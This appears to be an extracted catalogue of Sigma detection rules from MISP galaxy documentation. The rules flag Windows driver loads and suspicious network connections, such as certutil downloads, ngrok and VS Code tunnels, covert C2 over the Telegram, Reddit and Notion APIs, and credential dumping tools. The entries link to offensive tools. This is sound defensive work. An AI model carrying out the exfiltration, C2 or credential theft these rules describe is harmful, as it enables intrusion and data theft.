The tag is: `misp-galaxy:sigma-rules="Vulnerable WinRing0 Driver Load"`

View relationships graph

Vulnerable WinRing0 Driver Load has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9189. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/xmrig/xmrig/tree/master/bin/WinRing0">https://github.com/xmrig/xmrig/tree/master/bin/WinRing0</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_winring0_driver.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_winring0_driver.yml</a></td>
<td></td>
</tr>
</tbody>
</table>

WinDivert Driver Load

Detects the load of the Windiver driver, a powerful user-mode capture/sniffing/modification/blocking/re-injection package for Windows

The tag is: `misp-galaxy:sigma-rules="WinDivert Driver Load"`
View relationships graph

Malicious Driver Load

Detects the load of known malicious drivers by hash value

The tag is: *misp-galaxy:sigma-rules*="Malicious Driver Load"

Vulnerable Driver Load

Detects the load of known vulnerable drivers by hash value

The tag is: *misp-galaxy:sigma-rules*="Vulnerable Driver Load"
Table 9192. Table References

Links

https://loldrivers.io/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_vuln_drivers.yml

Credential Dumping Tools Service Execution

Detects well-known credential dumping tools execution via service execution events

The tag is: misp-galaxy:sigma-rules="Credential Dumping Tools Service Execution"

View relationships graph

Credential Dumping Tools Service Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 9193. Table References

Links

https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/driver_load/driver_load_win_mal_creddumper.yml
PowerShell Initiated Network Connection

Detects a PowerShell process that initiates network connections. Check for suspicious target ports and target systems.

The tag is: `misp-galaxy:sigma-rules="PowerShell Initiated Network Connection"`

View relationships graph

PowerShell Initiated Network Connection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9194. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.youtube.com/watch?v=DLtJTxMWZ2o">https://www.youtube.com/watch?v=DLtJTxMWZ2o</a></td>
</tr>
</tbody>
</table>

Dfsvc.EXE Network Connection To Uncommon Ports

Detects network connections from "dfsvc.exe" used to handled ClickOnce applications to uncommon ports

The tag is: `misp-galaxy:sigma-rules="Dfsvc.EXE Network Connection To Uncommon Ports"`

View relationships graph

Dfsvc.EXE Network Connection To Uncommon Ports has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"

Table 9195. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5">https://posts.specterops.io/less-smartscreen-more-caffeine-ab-using-clickonce-for-trusted-code-execution-1446ea8051c5</a></td>
</tr>
</tbody>
</table>

Network Connection Initiated To Visual Studio Code Tunnels Domain

Detects network connections to Visual Studio Code tunnel domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.
The tag is: `misp-galaxy:sigma-rules="Network Connection Initiated To Visual Studio Code Tunnels Domain"`

**View relationships graph**

Network Connection Initiated To Visual Studio Code Tunnels Domain has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 9196. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://badoption.eu/blog/2023/01/31/code_c2.html">https://badoption.eu/blog/2023/01/31/code_c2.html</a></td>
</tr>
<tr>
<td><a href="https://cydefops.com/vscode-data-exfiltration">https://cydefops.com/vscode-data-exfiltration</a></td>
</tr>
<tr>
<td><a href="https://ipfyx.fr/post/visual-studio-code-tunnel/">https://ipfyx.fr/post/visual-studio-code-tunnel/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connectio_n_win_vscode_tunnel_connection.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connectio_n_win_vscode_tunnel_connection.yml</a></td>
</tr>
</tbody>
</table>

**Connection Initiated Via Certutil.EXE**

Detects a network connection initiated by the certutil.exe tool. Attackers can abuse the utility in order to download malware or additional payloads.

The tag is: `misp-galaxy:sigma-rules="Connection Initiated Via Certutil.EXE"`

**View relationships graph**

Connection Initiated Via Certutil.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

**Table 9197. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil">https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/certutil</a></td>
</tr>
</tbody>
</table>

**Network Connection Initiated By AddinUtil.EXE**

Detects network connections made by the Add-In deployment cache updating utility (AddInutil.exe), which could indicate command and control communication.

The tag is: `misp-galaxy:sigma-rules="Network Connection Initiated By AddinUtil.EXE"`

**View relationships graph**
Network Connection Initiated By AddinUtil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9198. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html">https://www.blue-prints.blog/content/blog/posts/lolbin/addinutil-lolbas.html</a></td>
</tr>
</tbody>
</table>

Python Initiated Connection

Detects a Python process initiating a network connection. While this often relates to package installation, it can also indicate a potential malicious script communicating with a C&C server.

The tag is: *misp-galaxy:sigma-rules="Python Initiated Connection"*

View relationships graph

Python Initiated Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 9199. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6cf3db3742bf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057f6cf3db3742bf365fee2a9/atomics/T1046/T1046.md#atomic-test-4---port-scan-using-python</a></td>
</tr>
<tr>
<td><a href="https://pypi.org/project/scapy/">https://pypi.org/project/scapy/</a></td>
</tr>
</tbody>
</table>

Notepad Making Network Connection

Detects suspicious network connection by Notepad

The tag is: *misp-galaxy:sigma-rules="Notepad Making Network Connection"*

View relationships graph

Notepad Making Network Connection has relationships with:

Suspicious Office Outbound Connections

Detects office suit applications communicating to target systems on uncommon ports

The tag is: `misp-galaxy:sigma-rules="Suspicious Office Outbound Connections"`

Outbound Network Connection To Public IP Via Winlogon

Detects a "winlogon.exe" process that initiate network communications with public IP addresses

The tag is: `misp-galaxy:sigma-rules="Outbound Network Connection To Public IP Via Winlogon"`

View relationships graph

Outbound Network Connection To Public IP Via Winlogon has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011"` with estimative-language:likelihood-probability="almost-certain"
Potential Dead Drop Resolvers

Detects an executable, which is not an internet browser, making DNS request to legit popular websites, which were seen to be used as dead drop resolvers in previous attacks.

The tag is: `misp-galaxy:sigma-rules="Potential Dead Drop Resolvers"`

View relationships graph

Potential Dead Drop Resolvers has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Service - T1102"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Dead Drop Resolver - T1102.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9203. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://content.fireeye.com/apt-41/rpt-apt41">https://content.fireeye.com/apt-41/rpt-apt41</a></td>
</tr>
<tr>
<td><a href="https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html">https://blog.bushidotoken.net/2021/04/dead-drop-resolvers-espionage-inspired.html</a></td>
</tr>
</tbody>
</table>

Script Initiated Connection to Non-Local Network

Detects a script interpreter wscript/cscript opening a network connection to a non-local network. Adversaries may use script to download malicious payloads.

The tag is: `misp-galaxy:sigma-rules="Script Initiated Connection to Non-Local Network"`

View relationships graph

Script Initiated Connection to Non-Local Network has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9204. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md">https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md</a></td>
</tr>
</tbody>
</table>
Suspicous Network Connection Binary No CommandLine

Detects suspicious network connections made by a well-known Windows binary run with no command line parameters

The tag is: misp-galaxy:sigma-rules="Suspicious Network Connection Binary No CommandLine"

Table 9205. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://redcanary.com/blog/raspberry-robin/">https://redcanary.com/blog/raspberry-robin/</a></td>
</tr>
</tbody>
</table>
| https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connectio
  n_win_susp_binary_no_cmdline.yml                                    |

HH.EXE Network Connections

Detects network connections made by the "hh.exe" process, which could indicate the execution/download of remotely hosted .chm files

The tag is: misp-galaxy:sigma-rules="HH.EXE Network Connections"

View relationships graph

HH.EXE Network Connections has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Compiled HTML File - T1218.001" with estimative-language:likelihood-probability="almost-certain"

Table 9206. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
| https://github.com/redcanaryco/atomic-red-
  team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md |
| https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connectio
  n_win_hh.yml                                                         |

Potentially Suspicious Wuauclt Network Connection

Detects the use of the Windows Update Client binary (wuauclt.exe) to proxy execute code and making network connections. One could easily make the DLL spawn a new process and inject to it to proxy the network connection and bypass this rule.

The tag is: misp-galaxy:sigma-rules="Potentially Suspicious Wuauclt Network Connection"

View relationships graph
Potentially Suspicious Wuauclt Network Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 9207. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://dtm.uk/wuauclt/">https://dtm.uk/wuauclt/</a></td>
</tr>
</tbody>
</table>

Rundll32 Internet Connection

Detects a rundll32 that communicates with public IP addresses

The tag is: misp-galaxy:sigma-rules="Rundll32 Internet Connection"

View relationships graph

Rundll32 Internet Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 9208. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmenId=100">https://www.hybrid-analysis.com/sample/759fb4c0091a78c5ee035715afe3084686a8493f39014aea72dae36869de9ff6?environmenId=100</a></td>
</tr>
</tbody>
</table>

Network Connection Initiated By Regsvr32.EXE

Detects network connections initiated by Regsvr32.exe

The tag is: misp-galaxy:sigma-rules="Network Connection Initiated By Regsvr32.EXE"

View relationships graph

Network Connection Initiated By Regsvr32.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
Remote PowerShell Session (Network)

Detects remote PowerShell connections by monitoring network outbound connections to ports 5985 or 5986 from a non-network service account.

The tag is: `misp-galaxy:sigma-rules="Remote PowerShell Session (Network)"

View relationships graph

Remote PowerShell Session (Network) has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001"` with estimative-language:likelihood-probability="almost-certain"

Microsoft Sync Center Suspicious Network Connections

Detects suspicious connections from Microsoft Sync Center to non-private IPs.

The tag is: `misp-galaxy:sigma-rules="Microsoft Sync Center Suspicious Network Connections"

View relationships graph

Microsoft Sync Center Suspicious Network Connections has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"
**RDP to HTTP or HTTPS Target Ports**

Detects svchost hosting RDP termsvcs communicating to target systems on TCP port 80 or 443

The tag is: `misp-galaxy:sigma-rules="RDP to HTTP or HTTPS Target Ports"`

**Excel Network Connections**

Detects an Excel process that opens suspicious network connections to non-private IP addresses, and attempts to cover CVE-2021-42292. You will likely have to tune this rule for your organization, but it is certainly something you should look for and could have applications for malicious activity beyond CVE-2021-42292.

The tag is: `misp-galaxy:sigma-rules="Excel Network Connections"`
Suspicious Outbound SMTP Connections

Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel. The data may also be sent to an alternate network location from the main command and control server.

The tag is: misp-galaxy:sigma-rules="Suspicious Outbound SMTP Connections"

Microsoft Binary Suspicious Communication Endpoint

Detects an executable in the Windows folder accessing suspicious domains

The tag is: misp-galaxy:sigma-rules="Microsoft Binary Suspicious Communication Endpoint"
Communication To Ngrok Tunneling Service

Detects an executable accessing an ngrok tunneling endpoint, which could be a sign of forbidden exfiltration of data exfiltration by malicious actors

The tag is: `misp-galaxy:sigma-rules="Communication To Ngrok Tunneling Service"`

### View relationships graph

Communication To Ngrok Tunneling Service has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Proxy - T1090"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Web Service - T1102"` with estimative-language:likelihood-probability="almost-certain"

Table 9216. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent">https://ngrok.com/docs/secure-tunnels/tunnels/ssh-reverse-tunnel-agent</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/hakluke/status/158733971814977537/photo/1">https://twitter.com/hakluke/status/158733971814977537/photo/1</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_ngrok_tunnel.yml</a></td>
</tr>
</tbody>
</table>

Suspicious Typical Malware Back Connect Ports

Detects programs that connect to typical malware back connect ports based on statistical analysis from two different sandbox system databases
The tag is: `misp-galaxy:sigma-rules="Suspicious Typical Malware Back Connect Ports"`

View relationships graph

Suspicious Typical Malware Back Connect Ports has relationships with:

• related-to: `misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571"` with estimative-language:likelihood-probability="almost-certain"

Table 9217. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo">https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTSlDUAZDyo</a></td>
</tr>
</tbody>
</table>

**Network Communication With Crypto Mining Pool**

Detects initiated network connections to crypto mining pools

The tag is: `misp-galaxy:sigma-rules="Network Communication With Crypto Mining Pool"`

View relationships graph

Network Communication With Crypto Mining Pool has relationships with:

• related-to: `misp-galaxy:mitre-attack-pattern="Resource Hijacking - T1496"` with estimative-language:likelihood-probability="almost-certain"

Table 9218. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/stamparm/maltrail/blob/3ea70459b9559134449423c0a7d8b965ac5c40ea/trails/st">https://github.com/stamparm/maltrail/blob/3ea70459b9559134449423c0a7d8b965ac5c40ea/trails/st</a> atic/suspicious/crypto_mining.txt</td>
</tr>
<tr>
<td><a href="https://www.poolwatch.io/coin/monero">https://www.poolwatch.io/coin/monero</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connectio_n_win_crypto_mining_pools.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connectio_n_win_crypto_mining_pools.yml</a></td>
</tr>
</tbody>
</table>

**Silenttrinity Stager Msbuild Activity**

Detects a possible remote connections to Silenttrinity c2

The tag is: `misp-galaxy:sigma-rules="Silenttrinity Stager Msbuild Activity"`

View relationships graph

Silenttrinity Stager Msbuild Activity has relationships with:

• related-to: `misp-galaxy:mitre-attack-pattern="MSBuild - T1127.001"` with estimative-
**Suspicious Epmap Connection**

Detects suspicious "epmap" connection to a remote computer via remote procedure call (RPC)

The tag is: `misp-galaxy:sigma-rules="Suspicious Epmap Connection"`

**Outbound RDP Connections Over Non-Standard Tools**

Detects Non-Standard Tools Connecting to TCP port 3389 indicating possible lateral movement

The tag is: `misp-galaxy:sigma-rules="Outbound RDP Connections Over Non-Standard Tools"

**Suspicious Non-Browser Network Communication With Google API**

Detects a non-browser process interacting with the Google API which could indicate the use of a covert C2 such as Google Sheet C2 (GC2-sheet)
The tag is: `misp-galaxy:sigma-rules="Suspicious Non-Browser Network Communication With Google API"`

View relationships graph

Suspicious Non-Browser Network Communication With Google API has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Service - T1102"` with estimative-language:likelihood-probability="almost-certain"

Table 9222. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.tanium.com/blog/apt41-deploys-google-gc2-for-attacks-cyber-threat-intelligence-roundup/">https://www.tanium.com/blog/apt41-deploys-google-gc2-for-attacks-cyber-threat-intelligence-roundup/</a></td>
</tr>
<tr>
<td><a href="https://github.com/looCiprian/GC2-sheet">https://github.com/looCiprian/GC2-sheet</a></td>
</tr>
<tr>
<td><a href="https://youtu.be/n2dFlSaBBKo">https://youtu.be/n2dFlSaBBKo</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_google_api_non_browser_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_google_api_non_browser_access.yml</a></td>
</tr>
</tbody>
</table>

**Network Connection Initiated To DevTunnels Domain**

Detects network connections to Devtunnels domains initiated by a process on a system. Attackers can abuse that feature to establish a reverse shell or persistence on a machine.

The tag is: `misp-galaxy:sigma-rules="Network Connection Initiated To DevTunnels Domain"`

View relationships graph

Network Connection Initiated To DevTunnels Domain has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001"` with estimative-language:likelihood-probability="almost-certain"

Table 9223. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2">https://blueteamops.medium.com/detecting-dev-tunnels-16f0994dc3e2</a></td>
</tr>
<tr>
<td><a href="https://cydefops.com/devtunnels-unleashed">https://cydefops.com/devtunnels-unleashed</a></td>
</tr>
</tbody>
</table>
Script Initiated Connection

Detects a script interpreter wscript/cscript opening a network connection. Adversaries may use script to download malicious payloads.

The tag is: misp-galaxy:sigma-rules="Script Initiated Connection"

View relationships graph

Script Initiated Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9224. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md">https://github.com/redcanaryco/atomic-red-team/blob/28d190330fe44de6ff4767fc400cc10fa7cd6540/atomics/T1105/T1105.md</a></td>
</tr>
</tbody>
</table>

Suspicious Non-Browser Network Communication With Telegram API

Detects an a non-browser process interacting with the Telegram API which could indicate use of a covert C2

The tag is: misp-galaxy:sigma-rules="Suspicious Non-Browser Network Communication With Telegram API"

View relationships graph

Suspicious Non-Browser Network Communication With Telegram API has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"

Table 9225. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_telegram_api_non_browser_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_telegram_api_non_browser_access.yml</a></td>
</tr>
</tbody>
</table>
Suspicious Outbound Kerberos Connection

Detects suspicious outbound network activity via kerberos default port indicating possible lateral movement or first stage PrivEsc via delegation.

The tag is: `misp-galaxy:sigma-rules="Suspicious Outbound Kerberos Connection"`

View relationships graph

Suspicious Outbound Kerberos Connection has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Steal or Forge Kerberos Tickets - T1558"` with estimative-language:likelihood-probability="almost-certain"
- related-to: `misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003"` with estimative-language:likelihood-probability="almost-certain"

Table 9226. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/GhostPack/Rubeus">https://github.com/GhostPack/Rubeus</a></td>
</tr>
</tbody>
</table>
| https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connectio
- susp_outbound_kerberos_connection.yml                              |

Suspicious Program Location with Network Connections

Detects programs with network connections running in suspicious files system locations

The tag is: `misp-galaxy:sigma-rules="Suspicious Program Location with Network Connections"`

View relationships graph

Suspicious Program Location with Network Connections has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105"` with estimative-language:likelihood-probability="almost-certain"

Table 9227. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTsIUDAZDyo">https://docs.google.com/spreadsheets/d/17pSTDNpa0sf6pHeRhusvWG6rThciE8CsXTsIUDAZDyo</a></td>
</tr>
</tbody>
</table>
| https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connectio
- susp_prog_location_network_connection.yml                             |

Communication To Ngrok Domains

Detects an executable accessing ngrok domains, which could be a sign of forbidden data exfiltration
by malicious actors

The tag is: `misp-galaxy:sigma-rules="Communication To Ngrok Domains"`

View relationships graph

Communication To Ngrok Domains has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Exfiltration to Code Repository - T1567.001"` with estimative-language:likelihood-probability="almost-certain"

**Table 9228. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://ngrok.com/">https://ngrok.com/</a></td>
</tr>
<tr>
<td><a href="https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/">https://www.virustotal.com/gui/file/cca0c1182ac114b44dc52dd2058fcd38611c20bb6b5ad84710681d38212f835a/</a></td>
</tr>
<tr>
<td><a href="https://ngrok.com/blog-post/new-ngrok-domains">https://ngrok.com/blog-post/new-ngrok-domains</a></td>
</tr>
</tbody>
</table>

**RDP Over Reverse SSH Tunnel**

Detects svchost hosting RDP termsvcs communicating with the loopback address and on TCP port 3389

The tag is: `misp-galaxy:sigma-rules="RDP Over Reverse SSH Tunnel"`

View relationships graph

RDP Over Reverse SSH Tunnel has relationships with:


**Table 9229. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/SBousseaden/status/1096148422984384514">https://twitter.com/SBousseaden/status/1096148422984384514</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_rdp_reverse_tunnel.yml</a></td>
</tr>
</tbody>
</table>
**Suspicious Non-Browser Network Communication With Reddit API**

Detects a non-browser process interacting with the Reddit API which could indicate use of a covert C2 such as RedditC2

The tag is: `misp-galaxy:sigma-rules="Suspicious Non-Browser Network Communication With Reddit API"`

**View relationships graph**

Suspicious Non-Browser Network Communication With Reddit API has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Service - T1102"` with estimative-language:likelihood-probability="almost-certain"

### Table 9230. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/kleiton0x7e/status/1600567316810551296">https://twitter.com/kleiton0x7e/status/1600567316810551296</a></td>
</tr>
<tr>
<td><a href="https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al">https://www.linkedin.com/posts/kleiton-kurti_github-kleiton0x00redditc2-abusing-reddit-activity-7009939662462984192-5DbI/?originalSubdomain=al</a></td>
</tr>
<tr>
<td><a href="https://github.com/kleiton0x00/RedditC2">https://github.com/kleiton0x00/RedditC2</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_reddit_api_non_browser_access.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_reddit_api_non_browser_access.yml</a></td>
</tr>
</tbody>
</table>

**Potentially Suspicious Network Connection To Notion API**

Detects a non-browser process communicating with the Notion API. This could indicate potential use of a covert C2 channel such as "OffensiveNotion C2"

The tag is: `misp-galaxy:sigma-rules="Potentially Suspicious Network Connection To Notion API"`

**View relationships graph**

Potentially Suspicious Network Connection To Notion API has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Web Service - T1102"` with estimative-language:likelihood-probability="almost-certain"

### Table 9231. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/mttaggart/OffensiveNotion">https://github.com/mttaggart/OffensiveNotion</a></td>
</tr>
<tr>
<td><a href="https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332">https://medium.com/@huskyhacks.mk/we-put-a-c2-in-your-notetaking-app-offensivenotion-3e933bace332</a></td>
</tr>
</tbody>
</table>

5962
Network Connection Initiated By IMEWDBLD.EXE

Detects network connections initiated by IMEWDBLD. This might indicate potential abuse to download arbitrary files via this utility

The tag is: misp-galaxy:sigma-rules="Network Connection Initiated By IMEWDBLD.EXE"

View relationships graph

Network Connection Initiated By IMEWDBLD.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 9232. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3d742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows--powershell-download">https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcc3d742bfcf365fee2a9/atomics/T1105/T1105.md#atomic-test-10---windows--powershell-download</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/">https://lolbas-project.github.io/lolbas/Binaries/IMEWDBLD/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/network_connection/net_connection_win_imewdbld.yml</a></td>
</tr>
</tbody>
</table>

Dllhost Internet Connection

Detects Dllhost that communicates with public IP addresses

The tag is: misp-galaxy:sigma-rules="Dllhost Internet Connection"

View relationships graph

Dllhost Internet Connection has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
